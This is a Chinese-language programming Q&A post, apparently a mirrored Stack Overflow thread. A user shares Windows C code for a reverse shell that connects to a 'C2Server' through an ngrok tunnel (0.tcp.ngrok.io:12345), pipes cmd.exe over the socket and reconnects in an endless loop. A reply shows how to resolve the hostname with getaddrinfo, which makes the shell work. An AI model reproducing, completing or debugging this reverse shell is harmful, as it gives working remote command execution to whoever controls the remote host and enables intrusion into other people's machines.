我創建了一個簡單的 C 程式，它使用套接字連接到我的另一臺機器。我沒有windows pro，所以無法打開3389埠，也不想下載其他第三方應用程式，因為我真的想完成我已經完成的事情。
我正在為 ngrok 地址付款，格式為：0.tcp.ngrok.io:12345
該程式在使用我的私有 IP 地址時作業正常 - 但是當我使用我的 ngrok 地址時，它不起作用。我仍然可以通過其他方式通過 ngrok 地址與我的機器通信，但似乎程式由于某種原因根本沒有與地址通信。我不確定這是否與地址中有字母有關？我不知道 - 我真的堅持這一點。我將在下面顯示代碼，如果有人能告訴我是否應該做些什么來使它與 ngrok 地址一起作業，我將不勝感激 - 或者如果它沒有任何問題并且這是一個問題與 ngrok..
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL,
(unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL,
NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo,
&pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
//-----------------------------------------------------------
//-----------------------------------------------------------
//-----------------------------------------------------------
int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "0.tcp.ngrok.io";
int port = 12345;
RunShell(host, port);
}
return 0;
}
uj5u.com熱心網友回復：
inet_addr()僅適用于 IP 點分表示法的字串，不適用于主機名。因此，inet_addr("0.tcp.ngrok.io")將失敗并回傳-1（又名INADDR_NONE），因此您正在嘗試連接到255.255.255.255:12345. 但它適用于inet_addr("196.168.#.#")（#數字在哪里0..255）之類的東西。
您需要getaddrinfo()改用將主機名決議為 IP 地址，例如：
// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
// error handling...
}
...
addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
// error handling...
}
//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (mySocket == INVALID_SOCKET)
continue;
if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
break;
closesocket(mySocket);
mySocket = INVALID_SOCKET;
}
freeaddrinfo(addrs);
if (mySocket == INVALID_SOCKET)
{
// error handling...
}
// use mySocket as needed...
closesocket(mySocket);
...
// you should do this only once per process, not per loop iteration...
WSACleanup();
請注意，由于ngrok是外部云服務，您的ngrok主機名將決議為您ngrok服務器的公共 Internet IP 地址，而不是其私有 IP 地址。如果該服務器計算機位于路由器/防火墻后面，則必須配置路由器/防火墻以將公共 IP/埠轉發到服務器的私有 IP/埠。
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